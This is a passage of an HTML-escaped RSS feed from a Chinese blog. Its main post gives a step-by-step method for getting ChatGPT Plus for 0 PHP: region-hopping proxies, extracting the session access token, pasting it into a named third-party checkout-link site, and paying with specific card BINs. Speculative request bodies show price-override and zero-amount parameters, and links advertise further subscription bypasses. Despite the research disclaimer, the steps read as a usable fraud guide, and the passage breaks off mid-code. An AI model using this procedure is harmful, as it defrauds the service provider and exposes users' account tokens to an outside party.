&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;card&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;cardElement&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;billing_details&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;allow_redisplay&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;always&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;set_as_default_payment_method&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;绑卡成功后，脚本还会调用 &lt;code&gt;/backend-api/payments/payment_methods&lt;/code&gt; 拉取当前账号的所有支付方式列表，用 &lt;code&gt;console.table&lt;/code&gt; 打印出来。你可以看到新绑的卡已经成为默认支付方式。&lt;/p&gt;
&lt;h3 id="和提链的关系"&gt;和提链的关系
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;直卡绑定&lt;/strong&gt;：解决&amp;quot;没有卡&amp;quot;的问题。需要有一张能过 Stripe AVS/3DS 验证的实体或虚拟卡。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;提链&lt;/strong&gt;：解决&amp;quot;不想/不能用信用卡&amp;quot;的问题。走本地支付方式，完全不涉及信用卡。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;两种方法互补——有卡的用直卡，没卡的用提链。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="相关阅读"&gt;相关阅读
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://blog.7qiang.com/posts/chatgpt-plus-0php-cross-region-pricing-exploit-2026/" target="_blank" rel="noopener"
 &gt;0 PHP 白嫖 ChatGPT Plus — 跨区定价混淆攻击的完整技术拆解&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://blog.7qiang.com/posts/gpt-plus-google-play-subscription-transfer/" target="_blank" rel="noopener"
 &gt;ChatGPT Plus Google Play 订阅转移漏洞分析&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://blog.7qiang.com/posts/gpt-plus-exploit-revenuecat-vulnerability/" target="_blank" rel="noopener"
 &gt;RevenueCat 凭证转移漏洞——匿名购买 + restore 归属偷渡&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://blog.7qiang.com/posts/google-play-ccmax-proration-vulnerability-2026/" target="_blank" rel="noopener"
 &gt;Google Play CC Max 比例分配漏洞&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>0 PHP 白嫖 ChatGPT Plus — 跨区定价混淆攻击的完整技术拆解</title><link>https://blog.7qiang.com/posts/chatgpt-plus-0php-cross-region-pricing-exploit-2026/</link><pubDate>Tue, 28 Jul 2026 18:00:00 +0800</pubDate><guid>https://blog.7qiang.com/posts/chatgpt-plus-0php-cross-region-pricing-exploit-2026/</guid><description>&lt;img src="https://blog.7qiang.com/blog-cover-cyber-mask.gif" alt="Featured image of post 0 PHP 白嫖 ChatGPT Plus — 跨区定价混淆攻击的完整技术拆解" /&gt;&lt;section class="xiaoyao-contact-card" aria-label="联系逍遥"&gt;
 &lt;img class="xiaoyao-contact-card__qr" src="https://blog.7qiang.com/contact-qr.png" width="690" height="690" loading="lazy" decoding="async" alt="逍遥微信二维码"&gt;
 &lt;div class="xiaoyao-contact-card__content"&gt;
 &lt;h3 class="xiaoyao-contact-card__title"&gt;联系逍遥&lt;/h3&gt;
 &lt;p class="xiaoyao-contact-card__description"&gt;扫码添加微信，或点击下方按钮复制联系方式。&lt;/p&gt;
 &lt;div class="xiaoyao-contact-buttons" data-contact-buttons&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--wechat" type="button" data-copy-contact="plus6566" data-copy-label="微信号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;微信&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;plus6566&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--qq" type="button" data-copy-contact="826215906" data-copy-label="QQ 号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;QQ&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;826215906&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;span class="xiaoyao-contact-feedback" role="status" aria-live="polite"&gt;&lt;/span&gt;
&lt;/div&gt;

 &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~&lt;/p&gt;
&lt;hr&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;⚠️ 免责声明&lt;/strong&gt;：本文仅供安全研究与技术讨论。文中不提供可直接复用的攻击工具或完整利用脚本。利用类似手段对正式服务进行未授权操作属违法行为，后果自负。本文目的是帮助支付系统开发者理解跨区定价攻击面并加固防御。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="前言"&gt;前言
&lt;/h2&gt;&lt;p&gt;这两天群里炸了。&lt;/p&gt;
&lt;p&gt;有人甩出一张截图：Stripe 结账页面，产品写着 “ChatGPT Plus”，金额一栏赫然显示 &lt;strong&gt;₱0.00 PHP&lt;/strong&gt;。菲律宾比索，零元，提交即开通。&lt;/p&gt;
&lt;p&gt;评论区画风可想而知——“假的吧&amp;quot;“PS 的吧&amp;quot;“你怎么不说 Plus 倒找你钱”。&lt;/p&gt;
&lt;p&gt;然后陆陆续续有人贴出了完整流程，甚至还配了视频录屏。操作步骤不复杂，总共四步，不需要 Root，不需要 Frida，不需要改一行代码。唯一的技术含量在于——&lt;strong&gt;你得知道用什么顺序把哪些区域串起来。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这就有意思了。之前我们拆过 &lt;a class="link" href="https://blog.7qiang.com/posts/google-play-ccmax-proration-vulnerability-2026/" target="_blank" rel="noopener"
 &gt;prorationMode hook&lt;/a&gt;（改一个 &lt;code&gt;putInt&lt;/code&gt; 白嫖 Claude Max）、拆过 &lt;a class="link" href="https://blog.7qiang.com/posts/claude-cassia-mock-payment-bypass-analysis/" target="_blank" rel="noopener"
 &gt;焚决脚本&lt;/a&gt;（劫持 &lt;code&gt;checkout_capabilities&lt;/code&gt; 走 SEPA 假账号）、拆过 &lt;a class="link" href="https://blog.7qiang.com/posts/gpt-plus-exploit-revenuecat-vulnerability/" target="_blank" rel="noopener"
 &gt;RevenueCat 凭证转移&lt;/a&gt;（匿名购买 + restore 归属偷渡）。那些多少都是&amp;quot;改代码&amp;quot;的路子——Hook 内存、注入响应、篡改参数。&lt;/p&gt;
&lt;p&gt;但这次不一样。这次&lt;strong&gt;什么都没改&lt;/strong&gt;。没有脚本，没有 Hook，没有中间人。攻击者只是以一种特定的顺序访问了几个网页，然后 Stripe 自己就吐出了 0 元账单。&lt;/p&gt;
&lt;p&gt;今天把它完整拆开。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="一攻击全景四步从-jp-到-ph从-20-到-0"&gt;一、攻击全景：四步，从 JP 到 PH，从 $20 到 ₱0
&lt;/h2&gt;&lt;p&gt;先把流传的步骤还原一下：&lt;/p&gt;
&lt;h3 id="step-1日本节点注册-openai-账号"&gt;Step 1：日本节点注册 OpenAI 账号
&lt;/h3&gt;&lt;p&gt;挂 JP 代理，开一个干净的浏览器 Profile（指纹浏览器或者 Chrome 新 Profile），去 OpenAI 官网正常注册，邮箱验证，登录确认。&lt;/p&gt;
&lt;p&gt;此时你的账号状态：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;account.locale = &amp;#34;ja-JP&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;account.billing_country = &amp;#34;JP&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;account.currency = &amp;#34;JPY&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;OpenAI 在注册时根据你的 IP 地理位置初始化账号的计费区域。&lt;strong&gt;这一步的目的不是&amp;quot;要日本&amp;quot;本身，而是要一个非美区的初始定价锚点。&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="step-2切美国节点提取-access-token"&gt;Step 2：切美国节点，提取 Access Token
&lt;/h3&gt;&lt;p&gt;保持同一个浏览器 Profile，VPN 切到 US 节点，重新登录刚才注册的账号。然后新标签页打开：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://chatgpt.com/api/auth/session
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;浏览器返回一个 JSON，里面有 &lt;code&gt;accessToken&lt;/code&gt; 字段——一个标准 JWT。复制保存。&lt;/p&gt;
&lt;p&gt;此时你的 session 状态出现了第一层矛盾：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;account.billing_country = &amp;#34;JP&amp;#34; ← 注册时写入，持久化在 OpenAI 数据库
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;session.ip_country = &amp;#34;US&amp;#34; ← 当前 IP 推断，存在 session/edge 层
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="step-3第三方工具生成-checkout-链接"&gt;Step 3：第三方工具生成 Checkout 链接
&lt;/h3&gt;&lt;p&gt;打开某个第三方&amp;quot;CDK 提炼&amp;quot;工具站点（这类工具本质上就是一个 AT → Stripe Checkout Session 的代理），把 Access Token 粘进去，点生成。&lt;/p&gt;
&lt;p&gt;工具返回一个链接，格式：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://chatgpt.com/checkout/openai_llc/oaics_xxxxxxxxxxxxxxxxxxxxx
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;oaics_&lt;/code&gt; 是 OpenAI 的 Stripe Checkout Session ID 前缀。这个 session 是 OpenAI 后端基于你的 AT 创建的，包含了产品、价格、货币等信息。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;关键问题来了：这个 Checkout Session 的 currency 和 amount 是怎么决定的？&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="step-4打开链接惊喜时刻"&gt;Step 4：打开链接，惊喜时刻
&lt;/h3&gt;&lt;p&gt;在美国节点下打开这个 oaics 链接。Stripe 结账页面加载出来，你看到：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ChatGPT Plus
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;₱0.00 PHP / month
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;菲律宾比索。零元。&lt;/p&gt;
&lt;p&gt;填入指定 BIN 的卡片信息（523686 或 4513），美国账单地址，提交。&lt;/p&gt;
&lt;p&gt;Stripe 收了一笔 0 元交易，OpenAI 后端确认 checkout session 成功，权益生效。回到 ChatGPT 首页，左上角已经是 Plus 了。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="二为什么是-0-php三种假说"&gt;二、为什么是 0 PHP？——三种假说
&lt;/h2&gt;&lt;p&gt;先澄清一个重要事实：&lt;strong&gt;OpenAI 在菲律宾是有明确定价的&lt;/strong&gt;，ChatGPT Plus 的 PH 区定价大约是 ₱990 PHP/月。所以这不是简单的&amp;quot;价格表空洞导致 fallback 到 0”——如果定价系统正常查 PH 价格表，应该返回 ₱990，不是 ₱0。&lt;/p&gt;
&lt;p&gt;那 0 是怎么来的？没有对 Checkout Session 创建过程的完整抓包，我们只能做推断。以下三种假说按可能性排序。&lt;/p&gt;
&lt;h3 id="假说一第三方工具在创建-checkout-session-时注入了零元参数最可能"&gt;假说一：第三方工具在创建 Checkout Session 时注入了零元参数（最可能）
&lt;/h3&gt;&lt;p&gt;OpenAI 的 &lt;code&gt;/backend-api/payments/checkout&lt;/code&gt; 接口接受多个参数来创建 Stripe Checkout Session。如果这个接口接受客户端传入的 &lt;code&gt;discount&lt;/code&gt;、&lt;code&gt;coupon&lt;/code&gt;、&lt;code&gt;promotion_code&lt;/code&gt; 或类似参数，且&lt;strong&gt;后端没做资格校验&lt;/strong&gt;——工具直接传了一个 100% 折扣的 coupon code 或者 &lt;code&gt;amount_override: 0&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;这和之前 &lt;a class="link" href="https://blog.7qiang.com/posts/gpt-plus-exploit-revenuecat-vulnerability/" target="_blank" rel="noopener"
 &gt;RevenueCat 文章&lt;/a&gt;里分析过的 &lt;code&gt;eligible_promo_campaigns&lt;/code&gt; 注入如出一辙：客户端声称&amp;quot;我有优惠资格”，后端不校验就信了。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// 工具的真实请求可能长这样
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;plan&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;plus&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;promotion_code&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;某个内部免费试用码&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// 或者
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;billing_country&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;PH&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;currency&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;php&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// 或者更直接的
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;price_override&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;JP 注册 + US 登录制造的区域歧义，可能不是直接触发 0 元的原因，而是&lt;strong&gt;绕过风控检查的前置条件&lt;/strong&gt;——当账号区域和 IP 区域不一致时，后端对 checkout 参数的校验逻辑可能走入了一个宽松的分支。&lt;/p&gt;
&lt;h3 id="假说二跨区信号冲突导致定价路由进入异常分支"&gt;假说二：跨区信号冲突导致定价路由进入异常分支
&lt;/h3&gt;&lt;p&gt;当 OpenAI 创建 Stripe Checkout Session 时，面前有至少四个区域信号：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;信号来源&lt;/th&gt;
 &lt;th&gt;值&lt;/th&gt;
 &lt;th&gt;决定时机&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;账号注册地&lt;/td&gt;
 &lt;td&gt;JP&lt;/td&gt;
 &lt;td&gt;注册时固化&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;当前 session IP&lt;/td&gt;
 &lt;td&gt;US&lt;/td&gt;
 &lt;td&gt;每次请求实时推断&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Stripe 卡 BIN 发行国&lt;/td&gt;
 &lt;td&gt;PH&lt;/td&gt;
 &lt;td&gt;填卡时由 Stripe 推断&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;浏览器 Accept-Language&lt;/td&gt;
 &lt;td&gt;取决于浏览器设置&lt;/td&gt;
 &lt;td&gt;每次请求携带&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;正常场景下这四个信号一致——美国人在美国用美国卡买东西，直接查 US 价格表。&lt;/p&gt;
&lt;p&gt;但当 JP ≠ US ≠ PH 三个信号同时存在时，定价系统需要做一个选择。如果选择逻辑是 &lt;code&gt;if (account.country != ip.country) { use card.country }&lt;/code&gt; 这种优先级策略，而 PH 价格表虽然存在但在某个&lt;strong&gt;子路径&lt;/strong&gt;（比如&amp;quot;非本地注册用户+跨区IP&amp;quot;的特殊定价分支）中没有配置——就可能在这个特殊分支里 fallback 到 0。&lt;/p&gt;
&lt;p&gt;换句话说：&lt;strong&gt;PH 的主价格表有值（₱990），但某个异常处理路径的价格映射没覆盖到 PH&lt;/strong&gt;，攻击者通过区域信号碎片化精确命中了这条路径。&lt;/p&gt;
&lt;h3 id="假说三stripe-checkout-session-的-line_items-被工具篡改"&gt;假说三：Stripe Checkout Session 的 line_items 被工具篡改
&lt;/h3&gt;&lt;p&gt;Stripe &lt;code&gt;checkout.sessions.create&lt;/code&gt; 的 &lt;code&gt;line_items&lt;/code&gt; 参数包含 &lt;code&gt;price&lt;/code&gt; 或 &lt;code&gt;price_data&lt;/code&gt;。如果 OpenAI 的接口允许客户端指定 &lt;code&gt;price_data.unit_amount&lt;/code&gt;（哪怕是间接的），工具就能在创建 session 时直接把金额写成 0。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;line_items: [{
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; price_data: {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; currency: &amp;#34;php&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; unit_amount: 0, // 直接指定 0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; product: &amp;#34;prod_xxx&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; recurring: { interval: &amp;#34;month&amp;#34; }
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; quantity: 1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这种情况下 PH BIN 的作用不是&amp;quot;触发 PH 价格表&amp;quot;，而是&lt;strong&gt;让 currency 字段说得通&lt;/strong&gt;——如果你传 &lt;code&gt;currency: &amp;quot;php&amp;quot;&lt;/code&gt; 但卡是 US 卡，Stripe 可能会有额外的 currency mismatch 警告。PH 卡 + PHP 货币是自洽的。&lt;/p&gt;
&lt;h3 id="为什么是-ph-bin"&gt;为什么是 PH BIN？
&lt;/h3&gt;&lt;p&gt;无论哪种假说，流传的两个 BIN 都有其作用：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;BIN&lt;/th&gt;
 &lt;th&gt;网络&lt;/th&gt;
 &lt;th&gt;发行国&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;523686&lt;/td&gt;
 &lt;td&gt;Mastercard&lt;/td&gt;
 &lt;td&gt;菲律宾&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;4513xx&lt;/td&gt;
 &lt;td&gt;Visa&lt;/td&gt;
 &lt;td&gt;取决于具体发行行&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;523686 开头的卡填入 Stripe 表单时，Stripe 内部标记 &lt;code&gt;payment_method.card.country = &amp;quot;PH&amp;quot;&lt;/code&gt;。这个信号在整个支付流中传播。PH BIN 的作用至少有两个：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;让 PHP 货币的 checkout session 能正常完成&lt;/strong&gt;——卡的发行国和结账货币匹配&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;可能绕过 OpenAI 的 card-country vs account-country 风控规则&lt;/strong&gt;——PH 卡付 PHP 金额在 Stripe 层面是&amp;quot;正常交易&amp;quot;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2 id="三jp-注册的作用制造区域身份分裂"&gt;三、JP 注册的作用——制造&amp;quot;区域身份分裂&amp;quot;
&lt;/h2&gt;&lt;p&gt;你可能会问：为什么不直接在美国注册、美国提 Token、用 PH 卡付？&lt;/p&gt;
&lt;p&gt;答案是：&lt;strong&gt;直接美区注册的账号，定价系统的行为是确定性的——走 US 价格表，$20 USD，没有歧义可利用。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;JP 注册的作用是制造一个&lt;strong&gt;区域身份不确定&lt;/strong&gt;的账号。当账号的 billing_country 是 JP，session IP 是 US，这两个信号已经矛盾了。定价系统在处理这种矛盾时，可能会：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;走入一个&lt;strong&gt;异常处理分支&lt;/strong&gt;，该分支的参数校验比正常路径更宽松&lt;/li&gt;
&lt;li&gt;允许第三方工具注入的额外参数（如 currency、discount）覆盖默认行为&lt;/li&gt;
&lt;li&gt;使用一个与主价格表不同的&lt;strong&gt;备用定价逻辑&lt;/strong&gt;，而这个逻辑有漏洞&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;用状态机的视角看：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ┌──────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ 注册时: JP │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ locale=ja-JP │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; └──────┬───────┘
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ┌──────▼───────┐
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ 登录时: US │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ ip_country=US│
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ ≠ locale │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; └──────┬───────┘
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ┌──────▼───────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ 创建 Checkout │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ JP ≠ US → 歧义 │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ → 进入异常分支 │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ → 参数校验宽松 │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; └──────┬───────────┘
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ┌──────▼───────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ 工具注入参数 │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ + Card BIN: PH │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ → amount = 0 PHP │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; └──────────────────┘
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;三个不同的区域信号（JP / US / PH）制造了歧义，歧义打开了异常路径，异常路径上的校验缺失被利用。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这是一个经典的安全反模式：当多个权威源对同一个问题给出不同答案时，系统在歧义中放松了校验——不是直接返回 0，而是&lt;strong&gt;给了攻击者操纵结果的空间&lt;/strong&gt;。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="四第三方提炼工具在干什么"&gt;四、第三方&amp;quot;提炼工具&amp;quot;在干什么？
&lt;/h2&gt;&lt;p&gt;流程里的那个第三方网站（&lt;code&gt;sms.linlinflow.ccwu.cc&lt;/code&gt;），名字叫&amp;quot;CDK 提炼&amp;quot;，听着玄乎，其实它干的事非常直白：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;接收你的 Access Token&lt;/li&gt;
&lt;li&gt;用这个 AT 调用 OpenAI 后端 API，创建一个 Stripe Checkout Session&lt;/li&gt;
&lt;li&gt;把 Checkout Session 的 URL 返回给你&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;本质就是一个 &lt;strong&gt;AT → oaics_ 链接&lt;/strong&gt; 的代理服务。&lt;/p&gt;
&lt;p&gt;它的技术实现大概率是这样的：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// 伪代码，非真实接口
